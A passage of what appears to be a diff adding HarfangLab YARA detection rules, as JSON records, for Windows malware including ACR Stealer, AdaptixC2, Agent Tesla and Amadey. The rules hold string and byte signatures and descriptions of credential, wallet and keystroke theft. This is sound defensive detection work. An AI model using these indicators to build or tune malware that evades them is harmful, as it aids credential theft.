+  "rule_count": 1,
+  "rule_names": [
+    "acidbox_driver"
+  ],
+  "rule_creation_date": "2022-11-28",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.AcidBox"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1055.001",
+    "attack.t1547",
+    "attack.t1068",
+    "attack.t1543"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-acr_stealer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572500Z",
+  "creation_date": "2026-03-23T11:46:25.572502Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572507Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.acr_stealer\nhttps://cyble.com/blog/double-trouble-latrodectus-and-acr-stealer-observed-spreading-via-google-authenticator-phishing-site/"
+  ],
+  "name": "acr_stealer.yar",
+  "content": "rule acr_stealer {\n    meta:\n        title = \"ACR Stealer\"\n        id = \"1da93d4d-1d95-4d1b-a913-052fe830d1ea\"\n        description = \"Detects the ACR Stealer, a Windows-based information stealer known for exfiltrating browser credentials, cryptocurrency wallets, and other sensitive user data.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.acr_stealer\\nhttps://cyble.com/blog/double-trouble-latrodectus-and-acr-stealer-observed-spreading-via-google-authenticator-phishing-site/\"\n        date = \"2025-06-17\"\n        modified = \"2025-07-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.t1074.001;attack.credential_access;attack.t1555.003;attack.command_and_control;attack.t1071.001;attack.exfiltration;attack.t1041\"\n        classification = \"Windows.Stealer.ACRStealer\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 35eb93548a0c037d392f870c05e0e9fb1aeff3a5a505e1d4a087f7465ed1f6af\n        // 632f198d9c0795f326f090d7db23b8ad540f0ad5f86d40a1a3e9ea36a38ad1fa\n        // 875b30f812f6bd3e039698bfeb9e9e0363ebd970b8bd6377892e32df9dde3f70\n        // a3a82185ebbd3e415f562501a094b45f4823bdbcec659d9efcaf5f031fa6c0e3\n        // eabaa53d09f1114bde48800235cc78a69f210eeb4ce9d4e8a302df0499fd0db0\n\n        $s1 = \"/ujs/\" ascii fullword\n        $s2 = \"/Up/f\" ascii fullword\n        $s3 = \"\\\\Err.txt\" ascii fullword\n        $s4 = \"app_bound_encrypted_key\" ascii fullword\n        $s5 = \"g/screen/screen.bmp\" ascii fullword\n        $s6 = \"SOFTWARE\\\\WOW6432Node\\\\Valve\\\\Steam\" ascii fullword\n        $s7 = \"o/41/tokens.txt\" ascii fullword\n\n        $error1 = \"Error: no user32.dll\" ascii fullword\n        $error2 = \"Error: no GetSystemMetrics\" ascii fullword\n\n        $x1 = {\n            55                                        // push    ebp\n            8B EC                                     // mov     ebp, esp\n            83 EC 0C                                  // sub     esp, 0Ch\n            C7 45 FC 34 77 34 77                      // mov     [ebp+var_4], 77347734h\n\n                                        // loc_40636D:\n            8B 45 08                                  // mov     eax, [ebp+arg_0]\n            0F B6 08                                  // movzx   ecx, byte ptr [eax]\n            89 4D F8                                  // mov     [ebp+var_8], ecx\n            8B 55 F8                                  // mov     edx, [ebp+var_8]\n            89 55 F4                                  // mov     [ebp+var_C], edx\n            8B 45 08                                  // mov     eax, [ebp+arg_0]\n            83 C0 01                                  // add     eax, 1\n        }\n\n        $x2 = {\n            55                                        // push    ebp\n            8B EC                                     // mov     ebp, esp\n            51                                        // push    ecx\n            0F B6 45 08                               // movzx   eax, [ebp+arg_0]\n            83 F8 30                                  // cmp     eax, 30h\n            7C 09                                     // jl      short loc_40FF36\n            0F B6 4D 08                               // movzx   ecx, [ebp+arg_0]\n            83 F9 39                                  // cmp     ecx, 39h\n            7E 3F                                     // jle     short loc_40FF75\n        }\n\n    condition:\n        all of ($s*) or\n        (all of ($error*) and 1 of ($x*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "acr_stealer"
+  ],
+  "rule_creation_date": "2025-06-17",
+  "rule_modified_date": "2025-07-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.ACRStealer"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1041",
+    "attack.t1555.003",
+    "attack.t1074.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-adaptixc2_75d63c302afd_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567003Z",
+  "creation_date": "2026-03-23T11:46:25.567005Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567011Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Adaptix-Framework/AdaptixC2"
+  ],
+  "name": "adaptixc2_75d63c302afd.yar",
+  "content": "rule adaptix_c2_75d63c302afd {\n    meta:\n        title = \"AdaptixC2 Agent (75d63c302afd)\"\n        id = \"d643e044-2a53-47bb-a34b-75d63c302afd\"\n        description = \"Detects AdaptixC2 agent. AdaptixC2 is an open source post-exploitation and command and control (C2) framework used for adversary simulation.\\nThis rule identifies malicious components by detecting API hashing resolution, the BOF (Beacon Object File) loading mechanism, and the communication encryption key generation.\\nIt applies to all payload formats generated by the framework, including executables, DLLs, services, and shellcode.\"\n        references = \"https://github.com/Adaptix-Framework/AdaptixC2\"\n        date = \"2025-08-12\"\n        modified = \"2025-08-28\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012;attack.t1027.007\"\n        classification = \"Windows.Framework.AdaptixC2\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 236be6f28943aaecd77f74e7fa186b3d64e8d805bc580f689fc3b8443c217f21\n        // ad96a3dab7f201dd7c9938dcf70d6921849f92c1a20a84a28b28d11f40f0fb06\n        // 74b02d558a1118843d5d9cad67a90d68244096c6eef64329e57572e027aaf5b7\n        $api_resolution = {\n            e8 ?? ?? ?? ??           // call GetModuleAddress\n            48 89 45 f8              // mov [rbp-0x8], rax\n            48 8b 45 f8              // mov rax, [rbp-0x8]\n            ba 7a 14 ff ae           // mov edx, 0xaeff147a\n            48 89 c1                 // mov rcx, rax\n            e8 ?? ?? ?? ??           // call GetSymbolAddress\n            48 89 45 f0              // mov [rbp-0x10], rax\n            48 8b 45 f0              // mov rax, [rbp-0x10]\n            ba 30 00 00 00           // mov edx, 0x30\n            b9 40 00 00 00           // mov ecx, 0x40\n            ff d0                    // call rax\n        }\n\n        $alloc_pattern = {\n            b9 18 00 00 00           // mov ecx, 0x18 (allocation size)\n            e8 ?? ?? ?? ??           // call MemAllocLocal\n            48 8b 15 ?? ?? ?? ??     // mov rdx, qword [rel data]\n            48 89 02                 // mov qword [rdx], rax\n        }\n\n        $packer_init = {\n            48 89 01                 // mov qword [rcx], rax (size)\n            48 89 51 08              // mov qword [rcx+0x8], rdx (buffer)\n            8b 44 24 30              // mov eax, dword [rsp+0x30]\n            89 41 10                 // mov dword [rcx+0x10], eax (index)\n        }\n\n    condition:\n        2 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "adaptix_c2_75d63c302afd"
+  ],
+  "rule_creation_date": "2025-08-12",
+  "rule_modified_date": "2025-08-28",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.AdaptixC2"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1027.007",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-agent_tesla_stealer_v3_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582495Z",
+  "creation_date": "2026-03-23T11:46:25.582497Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582507Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla\nhttps://attack.mitre.org/software/S0331/"
+  ],
+  "name": "agent_tesla_stealer_v3.yar",
+  "content": "rule agent_tesla_v3 {\n    meta:\n        title = \"Agent Tesla Stealer v3\"\n        id = \"d9ce35d1-7e53-4d5f-b144-fbb75417cfba\"\n        description = \"Detects AgentTesla, a Malware-as-a-Service RAT available for purchase in hacker forums.\\nAgent Tesla is a sophisticated credential stealer commonly used in cyberattacks.\\nIt is primarily distributed through phishing emails and exhibits capabilities such as keylogging, screen capturing, form-grabbing, and credential theft. The malware can inject itself into legitimate processes and create services or scheduled tasks to maintain persistence on the infected system.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla\\nhttps://attack.mitre.org/software/S0331/\"\n        date = \"2024-03-22\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0331;attack.credential_access;attack.t1555;attack.exfiltration;attack.t1048.003;attack.defense_evasion;attack.t1564.001\"\n        classification = \"Windows.Stealer.AgentTesla\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e5eea4a3f574b6850589bd1ed44ecb124d7333cb6c3f877ad868389acec05887\n        // b86a5b34eba05b9bfd389c6d82dbd58e31a45cfcd8bd13884ed98e1b1a7d8ba8\n\n        $s1 = \"{CAPSLOCK}\" wide fullword\n        $s2 = \"<br><hr>Copied Text: <br>\" wide fullword\n        $s3 = \"wow_logins\" wide fullword\n        $s4 = \" -convert xml1 -s -o \\\"\" wide fullword\n        $s5 = \"startProfile=([A-z0-9\\\\/\\\\.\\\\\\\"]+)\" wide fullword\n        $s6 = \"master_passphrase_salt=(.+)\" wide fullword\n        $s7 = \"\\\\passwordstorerc\" wide fullword\n        $s8 = \"{(.*),(.*)}(.*)\" wide fullword\n        $s9 = \".*\\\"username\\\":\\\"(.*?)\\\"\" wide fullword\n        $s10 = \"<br>Computer Name:\" wide fullword\n\n    condition:\n        5 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "agent_tesla_v3"
+  ],
+  "rule_creation_date": "2024-03-22",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.AgentTesla"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001",
+    "attack.t1555",
+    "attack.t1048.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-agent_tesla_stealer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572720Z",
+  "creation_date": "2026-03-23T11:46:25.572722Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572727Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/\nhttps://attack.mitre.org/software/S0331/"
+  ],
+  "name": "agent_tesla_stealer.yar",
+  "content": "import \"pe\"\nimport \"math\"\nimport \"dotnet\"\n\nrule agent_tesla {\n    meta:\n        title = \"Agent Tesla Stealer\"\n        id = \"464b1797-1ea4-48cc-89c7-6ad4b79fd826\"\n        description = \"Detects the Agent Tesla Stealer, a Malware-as-a-Service RAT available for purchase in hacker forums.\\nAgent Tesla is primarily delivered through phishing emails and has capabilities such as keylogging, screen capture, form-grabbing, credential stealing, and more.\\nIt can inject itself into other processes and establish persistence through services or scheduled tasks.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.sentinelone.com/labs/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/\\nhttps://attack.mitre.org/software/S0331/\"\n        date = \"2023-11-20\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0331;attack.credential_access;attack.t1555;attack.exfiltration;attack.t1048.003;attack.defense_evasion;attack.t1564.001\"\n        classification = \"Windows.Stealer.AgentTesla\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ee226ec9420fd022ce8bf7752432ab32cdfbb6ce7c03d2d96618c67bf4bace08\n        // 91499b570a98b7fd30a72d921d5bba82bd96918f8ce06532de3ca2362e1d5c35\n        // 16a5368c8befb46e2e872d1fb695f1a9372b8e2db4c8549f14603745a61e034f\n        // 5e01a8249a8b5d677764e8390abb59bc59656149668951dcee38442d03b61935\n        // ff8a874ebfa745cd5b0103f9ad7be9dcb49760c5820d542f8fe53a92ca7db411\n        // 51b487c92f5e52dc485cb8971b4725ed6a475e2ace51946e3cc113863067ef13\n        // 10f79a0bcff0aa1bd3c2ee942bb6894627ad897317413a354df70b50f4e0f56e\n        // af6fe603f93c415dd49f79d49bebb51dbece4997941f97455f025d4b43bf95de\n        // 6d1850fe5869d9797504f883e887dc5ad0652251d9b3038e8461187cf8e58f0c\n        // d6e5f1e82e5820ce9515c472dc1b475389d729071c69b076331c5e9f0f8520d4\n\n        $bmp1 = \"System.Drawing.Bitmap\" ascii\n        $png1 = \"PNG\" ascii\n        $png2 = \"IHDR\" ascii\n\n        $assembly_ref1 = \"System.Drawing\" ascii fullword\n        $assembly_ref2 = \"System.Core\" ascii fullword\n        $assembly_ref3 = \"System.Windows.Forms\" ascii fullword\n\n    condition:\n        dotnet.is_dotnet and\n        for any resource in dotnet.resources: (\n            resource.length > 520000 and resource.length < 590000\n            and $bmp1 in (resource.offset..(resource.offset + resource.length))\n            and $png1 in (resource.offset..(resource.offset + resource.length))\n            and $png2 in (resource.offset..(resource.offset + resource.length))\n            and math.entropy(resource.offset, resource.length) > 7.99\n        )\n        and math.entropy(pe.sections[pe.section_index(\".text\")].raw_data_offset, pe.sections[pe.section_index(\".text\")].raw_data_size) > 6.8\n        and all of ($assembly_ref*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "agent_tesla"
+  ],
+  "rule_creation_date": "2023-11-20",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.AgentTesla"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001",
+    "attack.t1555",
+    "attack.t1048.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-amadey_6bded4fda014_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574523Z",
+  "creation_date": "2026-03-23T11:46:25.574525Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574530Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey\nhttps://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/"
+  ],
+  "name": "amadey_6bded4fda014.yar",
+  "content": "rule amadey_bot_6bded4fda014 {\n    meta:\n        title = \"AmadeyBot (6bded4fda014)\"\n        id = \"3a1dfe23-9bf2-4579-9bcf-6bded4fda014\"\n        description = \"Detects AmadeyBot agents by detecting their string substitution cipher used in 2024 campaigns.\\nAmadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called \\\"tasks\\\") for all or specifically targeted computers compromised by the malware.\\nThis agent is usually the one that is regularly executed for persistence via a Scheduled Task.\\nIt is recommended to identify the source of the process' execution to eliminate persistence and to terminate any suspicious processes.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey\\nhttps://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/\"\n        date = \"2025-03-24\"\n        modified = \"2025-03-31\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1082;attack.credential_access;attack.t1555.003;attack.command_and_control;attack.t1071.001;attack.exfiltration;attack.t1041\"\n        classification = \"Windows.Malware.Amadey\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 18aeb7be496d51bada50f3781764bb7771f74d7050e3ceefa51725b3f86a59f6\n        // f4b82a4025f3b706df554e85b50a6e6be1175fb224e11475c9e7c5c0522031ce\n        // 7e88a7c92acd7c028befff6e42c7a631fa369f2f436322241e682771cbc26f5d\n        // 3a6433a0ac5db18a54c9b40a75981a6bf2c72343c7b82202afe5561ecafcc50d\n\n        $string_buf_prep = {\n            57                     // push    edi {var_20_1}\n            0F BE C8               // movsx   ecx, al\n            51                     // push    ecx {var_24_1}\n            53                     // push    ebx {var_28_1}\n            89 7E 10               // mov     dword [esi+0x10], edi\n            E8 [4]                 // call    _memset\n            83 C4 ??               // add     esp, 0xc\n            C6 04 1F 00            // mov     byte [edi+ebx], 0x0\n            8B C6                  // mov     eax, esi\n            5F                     // pop     edi {__saved_edi}\n            5E                     // pop     esi {__saved_esi}\n            5B                     // pop     ebx {__saved_ebx}\n            8B E5                  // mov     esp, ebp\n            5D                     // pop     ebp {__saved_ebp}\n            C2                     // retn    0x8 {__return_addr}\n        }\n\n        $subst_cipher = {\n            0F 43 [5]              // cmovae  eax, dword [char_mapping]\n            83 [3]                 // cmp     dword [esi+0x14], 0x10\n            7? ??                  // jb      0x405a34\n            8B 3E                  // mov     edi, dword [esi]\n            8A 04 02               // mov     al, byte [edx+eax]\n            88 04 0F               // mov     byte [edi+ecx], al\n            41                     // inc     ecx\n            8B [2]                 // mov     edi, dword [ebp-0x4 {var_8}]\n            8D 42 01               // lea     eax, [edx+0x1]\n            3B CB                  // cmp     ecx, ebx\n            7? ??                  // jl      0x405a10\n        }\n\n    condition:\n        $string_buf_prep and $subst_cipher\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "amadey_bot_6bded4fda014"
+  ],
+  "rule_creation_date": "2025-03-24",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Amadey"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.discovery",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1041",
+    "attack.t1555.003",
+    "attack.t1082"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-amadey_ae516d1279bf_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574555Z",
+  "creation_date": "2026-03-23T11:46:25.574557Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574562Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey\nhttps://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/"
+  ],
+  "name": "amadey_ae516d1279bf.yar",
+  "content": "rule amadey_bot_ae516d1279bf {\n    meta:\n        title = \"AmadeyBot (ae516d1279bf)\"\n        id = \"2809805c-f9b3-482c-a295-ae516d1279bf\"\n        description = \"Detects AmadeyBot agents by detecting the general pattern in the malware's initial setup; creating a mutex and decrypting strings, followed by \\\"CreateThread\\\" calls for polling, then a continuous 30 second \\\"Sleep\\\" call on the main thread.\\nAmadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called \\\"tasks\\\") for all or specifically targeted computers compromised by the malware.\\nThis agent is usually the one that is regularly executed for persistence via a Scheduled Task.\\nIt is recommended to identify the source of the process' execution to eliminate persistence and to terminate any suspicious processes.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey\\nhttps://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/\"\n        date = \"2025-03-24\"\n        modified = \"2025-03-31\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1082;attack.credential_access;attack.t1555.003;attack.command_and_control;attack.t1071.001;attack.exfiltration;attack.t1041\"\n        classification = \"Windows.Malware.Amadey\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 18aeb7be496d51bada50f3781764bb7771f74d7050e3ceefa51725b3f86a59f6\n        // 517422af0bb3ad483144aaf489017311678f4af7cec58f5dafe68a0db9bd5952\n\n        $start_function = {\n            (56 | FF D6)           // push    esi {var_c} | call esi\n            6A 00                  // push    0x0 {var_10}\n            6A 00                  // push    0x0 {var_14}\n            6A 00                  // push    0x0 {var_18}\n            68 [4]                 // push    third_thread {var_1c}\n            6A 00                  // push    0x0 {var_20}\n            6A 00                  // push    0x0 {var_24}\n            FF [1-5]               // call    esi | call dword [CreateThread]\n            8B 35 [4]              // mov     esi, dword [Sleep]\n\n            [0-4]                  // nop     dword [eax]\n\n            68 30 75 00 00         // push    0x7530 {var_10} ; Sleep for 30s\n            FF D6                  // call    esi\n            EB ??                  // jmp     0x41a520 ; while true\n\n            CC CC CC CC CC CC CC   // MSVS Compiler function padding\n\n            // 0041a530    void start_threads() __noreturn\n            55                     // push    ebp {var_4}\n            8B EC                  // mov     ebp, esp {var_4}\n            83 E4 F8               // and     esp, 0xfffffff8\n            E8 [4]                 // call    create_mutex\n            B9 01 00 00 00         // mov     ecx, 0x1\n            E8 [4]                 // call    sub_40e410\n            E8 [4]                 // call    sub_40eca0\n            E8 [4]                 // call    sub_416f40\n            E8 [4]                 // call    sub_4060b0\n            E9                     // jmp     0x41a4e0\n        }\n\n    condition:\n        $start_function\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "amadey_bot_ae516d1279bf"
+  ],
+  "rule_creation_date": "2025-03-24",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Amadey"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.discovery",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1041",
+    "attack.t1555.003",
+    "attack.t1082"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
